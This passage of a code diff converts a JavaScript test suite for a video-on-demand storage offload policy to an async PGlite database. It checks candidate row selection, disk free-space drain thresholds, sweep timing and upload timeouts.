- is_recording INTEGER, health_status TEXT, view_count INTEGER, last_accessed_at TEXT,
- created_at TEXT DEFAULT (datetime('now', '-2 days'))
-)`);
-const ins = db.prepare('INSERT INTO vods (id, file_path, file_size, storage_provider, is_recording, health_status) VALUES (?, ?, ?, ?, ?, ?)');
-ins.run(1, '/data/vods/real-a.mp4', 15 * GB, 'local', 0, 'ok'); // real recording
-ins.run(2, '/data/vods/real-b.webm', 2 * GB, null, 0, null); // real, provider/health NULL (legacy rows)
-ins.run(3, null, 0, 'local', 0, null); // ghost: never got a file
-ins.run(4, '/opt/hobostreamer/data/vods/old.webm', 0, 'local', 0, 'missing_file'); // quarantined legacy path
-ins.run(5, '/data/vods/zero.webm', 0, 'local', 0, 'zero_byte'); // quarantined zero-byte
-ins.run(6, '/data/vods/live.mp4', 1 * GB, 'local', 1, 'ok'); // still recording
-ins.run(7, '/data/vods/cold.mp4', 8 * GB, 'b2', 0, 'ok'); // already offloaded
+ // ── Candidate selection: only rows with a real, non-quarantined local file ──
+ // A database of its own with just the columns the rule reads (PGlite).
+ const db = require('openvibe-sdk/db').createDb({ pglite: true, service: 'policy-test' });
+ await db.exec(`CREATE TABLE vods (
+ id bigint PRIMARY KEY, file_path text, file_size bigint, storage_provider text,
+ is_recording bigint, health_status text, view_count bigint, last_accessed_at text,
+ created_at text DEFAULT to_char((now() AT TIME ZONE 'UTC') - interval '2 days', 'YYYY-MM-DD HH24:MI:SS')
+ )`);
+ const ins = db.prepare('INSERT INTO vods (id, file_path, file_size, storage_provider, is_recording, health_status) VALUES (?, ?, ?, ?, ?, ?) RETURNING id');
+ await ins.run(1, '/data/vods/real-a.mp4', 15 * GB, 'local', 0, 'ok'); // real recording
+ await ins.run(2, '/data/vods/real-b.webm', 2 * GB, null, 0, null); // real, provider/health NULL (legacy rows)
+ await ins.run(3, null, 0, 'local', 0, null); // ghost: never got a file
+ await ins.run(4, '/opt/hobostreamer/data/vods/old.webm', 0, 'local', 0, 'missing_file'); // quarantined legacy path
+ await ins.run(5, '/data/vods/zero.webm', 0, 'local', 0, 'zero_byte'); // quarantined zero-byte
+ await ins.run(6, '/data/vods/live.mp4', 1 * GB, 'local', 1, 'ok'); // still recording
+ await ins.run(7, '/data/vods/cold.mp4', 8 * GB, 'b2', 0, 'ok'); // already offloaded
-const picked = db.prepare(`SELECT id FROM vods WHERE ${OFFLOADABLE_WHERE} ORDER BY id`).all().map(r => r.id);
-assert.deepStrictEqual(picked, [1, 2], `only real local finished files are offload candidates, got ${picked}`);
-console.log('✅ ghost / quarantined / recording / offloaded rows are never offload candidates');
+ const picked = (await db.prepare(`SELECT id FROM vods WHERE ${OFFLOADABLE_WHERE} ORDER BY id`).all()).map(r => r.id);
+ assert.deepStrictEqual(picked, [1, 2], `only real local finished files are offload candidates, got ${picked}`);
+ console.log('✅ ghost / quarantined / recording / offloaded rows are never offload candidates');
-// ── Free-space budget: percent OR GB floor triggers, both must be satisfied to stop ──
-assert.strictEqual(needsDrain(disk(96, 4), DEFAULTS), true, '96% full must drain');
-assert.strictEqual(needsDrain(disk(50, 48), DEFAULTS), false, 'half-empty disk is fine');
-assert.strictEqual(needsDrain(disk(65, 20), DEFAULTS), true, 'below the percent ceiling but under the GB floor still drains');
-assert.strictEqual(needsDrain(disk(75, 400, 1600), DEFAULTS), true, 'percent ceiling applies even with lots of absolute space');
-assert.strictEqual(needsDrain({ total: 0, available: 0, usePct: 0 }, DEFAULTS), false, 'unknown disk never drains');
+ // ── Free-space budget: percent OR GB floor triggers, both must be satisfied to stop ──
+ assert.strictEqual(needsDrain(disk(96, 4), DEFAULTS), true, '96% full must drain');
+ assert.strictEqual(needsDrain(disk(50, 48), DEFAULTS), false, 'half-empty disk is fine');
+ assert.strictEqual(needsDrain(disk(65, 20), DEFAULTS), true, 'below the percent ceiling but under the GB floor still drains');
+ assert.strictEqual(needsDrain(disk(75, 400, 1600), DEFAULTS), true, 'percent ceiling applies even with lots of absolute space');
+ assert.strictEqual(needsDrain({ total: 0, available: 0, usePct: 0 }, DEFAULTS), false, 'unknown disk never drains');
-assert.strictEqual(drainSatisfied(disk(60, 38), DEFAULTS), false, 'at the percent low-water but under the GB target keeps draining');
-assert.strictEqual(drainSatisfied(disk(55, 43), DEFAULTS), true, 'both targets met stops the drain');
-assert.strictEqual(drainSatisfied(disk(70, 500, 1600), DEFAULTS), false, 'above the percent low-water keeps draining on big disks');
+ assert.strictEqual(drainSatisfied(disk(60, 38), DEFAULTS), false, 'at the percent low-water but under the GB target keeps draining');
+ assert.strictEqual(drainSatisfied(disk(55, 43), DEFAULTS), true, 'both targets met stops the drain');
+ assert.strictEqual(drainSatisfied(disk(70, 500, 1600), DEFAULTS), false, 'above the percent low-water keeps draining on big disks');
-assert.strictEqual(isCritical(disk(90, 9), DEFAULTS), true);
-assert.strictEqual(isCritical(disk(89, 10), DEFAULTS), false);
-console.log('✅ free-space budget: percent ceiling OR GB floor start a drain; both targets end it');
+ assert.strictEqual(isCritical(disk(90, 9), DEFAULTS), true);
+ assert.strictEqual(isCritical(disk(89, 10), DEFAULTS), false);
+ console.log('✅ free-space budget: percent ceiling OR GB floor start a drain; both targets end it');
-// ── Cadence: come back quickly while a drain is making (or could make) progress ──
-assert.strictEqual(planNextDelayMs({ stillNeedsDrain: true, migrated: 3 }, DEFAULTS), DEFAULTS.pressureRetryMs, 'progress under pressure → soon');
-assert.strictEqual(planNextDelayMs({ stillNeedsDrain: true, migrated: 0, skippedBackoff: 2 }, DEFAULTS), DEFAULTS.pressureRetryMs, 'candidates in back-off → soon');
-assert.strictEqual(planNextDelayMs({ stillNeedsDrain: true, migrated: 0, errors: [{ id: 1 }] }, DEFAULTS), DEFAULTS.pressureRetryMs, 'failed uploads → retry soon');
-assert.strictEqual(planNextDelayMs({ stillNeedsDrain: true, migrated: 0 }, DEFAULTS), DEFAULTS.sweepIntervalMs, 'nothing eligible → no point hammering');
-assert.strictEqual(planNextDelayMs({ stillNeedsDrain: false, migrated: 5 }, DEFAULTS), DEFAULTS.sweepIntervalMs, 'drain satisfied → regular interval');
-assert.strictEqual(planNextDelayMs(null, DEFAULTS), DEFAULTS.sweepIntervalMs, 'skipped/failed sweep → regular interval');
-assert.ok(DEFAULTS.pressureRetryMs < DEFAULTS.sweepIntervalMs);
-console.log('✅ sweep re-runs within minutes while a drain is still needed');
+ // ── Cadence: come back quickly while a drain is making (or could make) progress ──
+ assert.strictEqual(planNextDelayMs({ stillNeedsDrain: true, migrated: 3 }, DEFAULTS), DEFAULTS.pressureRetryMs, 'progress under pressure → soon');
+ assert.strictEqual(planNextDelayMs({ stillNeedsDrain: true, migrated: 0, skippedBackoff: 2 }, DEFAULTS), DEFAULTS.pressureRetryMs, 'candidates in back-off → soon');
+ assert.strictEqual(planNextDelayMs({ stillNeedsDrain: true, migrated: 0, errors: [{ id: 1 }] }, DEFAULTS), DEFAULTS.pressureRetryMs, 'failed uploads → retry soon');
+ assert.strictEqual(planNextDelayMs({ stillNeedsDrain: true, migrated: 0 }, DEFAULTS), DEFAULTS.sweepIntervalMs, 'nothing eligible → no point hammering');
+ assert.strictEqual(planNextDelayMs({ stillNeedsDrain: false, migrated: 5 }, DEFAULTS), DEFAULTS.sweepIntervalMs, 'drain satisfied → regular interval');
+ assert.strictEqual(planNextDelayMs(null, DEFAULTS), DEFAULTS.sweepIntervalMs, 'skipped/failed sweep → regular interval');
+ assert.ok(DEFAULTS.pressureRetryMs < DEFAULTS.sweepIntervalMs);
+ console.log('✅ sweep re-runs within minutes while a drain is still needed');
-// ── Upload deadline scales with size so a hung 15 GB multipart cannot hold the sweep forever ──
-const t100mb = uploadTimeoutMs(100 * 1024 * 1024, DEFAULTS);
-const t15gb = uploadTimeoutMs(15 * GB, DEFAULTS);
-assert.ok(t100mb >= DEFAULTS.uploadTimeoutFloorMs && t100mb < DEFAULTS.uploadTimeoutFloorMs + 2 * 60 * 1000, 'small file ≈ floor');
-assert.ok(t15gb > 2 * 60 * 60 * 1000 && t15gb < 4 * 60 * 60 * 1000, `15 GB at 2 MB/s ≈ 2–3 h, got ${Math.round(t15gb / 60000)} min`);
-console.log('✅ upload deadline = floor + size / minimum throughput');
+ // ── Upload deadline scales with size so a hung 15 GB multipart cannot hold the sweep forever ──
+ const t100mb = uploadTimeoutMs(100 * 1024 * 1024, DEFAULTS);
+ const t15gb = uploadTimeoutMs(15 * GB, DEFAULTS);
+ assert.ok(t100mb >= DEFAULTS.uploadTimeoutFloorMs && t100mb < DEFAULTS.uploadTimeoutFloorMs + 2 * 60 * 1000, 'small file ≈ floor');
+ assert.ok(t15gb > 2 * 60 * 60 * 1000 && t15gb < 4 * 60 * 60 * 1000, `15 GB at 2 MB/s ≈ 2–3 h, got ${Math.round(t15gb / 60000)} min`);
+ console.log('✅ upload deadline = floor + size / minimum throughput');
-// ── Status surface exists for dashboards / health checks ──
-assert.ok(typeof storage.getStatus === 'function');
-console.log('✅ policy helpers exported for status reporting');
+ // ── Status surface exists for dashboards / health checks ──
+ assert.ok(typeof storage.getStatus === 'function');
+ console.log('✅ policy helpers exported for status reporting');
-console.log('\n✅ All VOD storage policy tests passed');
+ console.log('\n✅ All VOD storage policy tests passed');
+})().catch((err) => { console.error(err); process.exit(1); });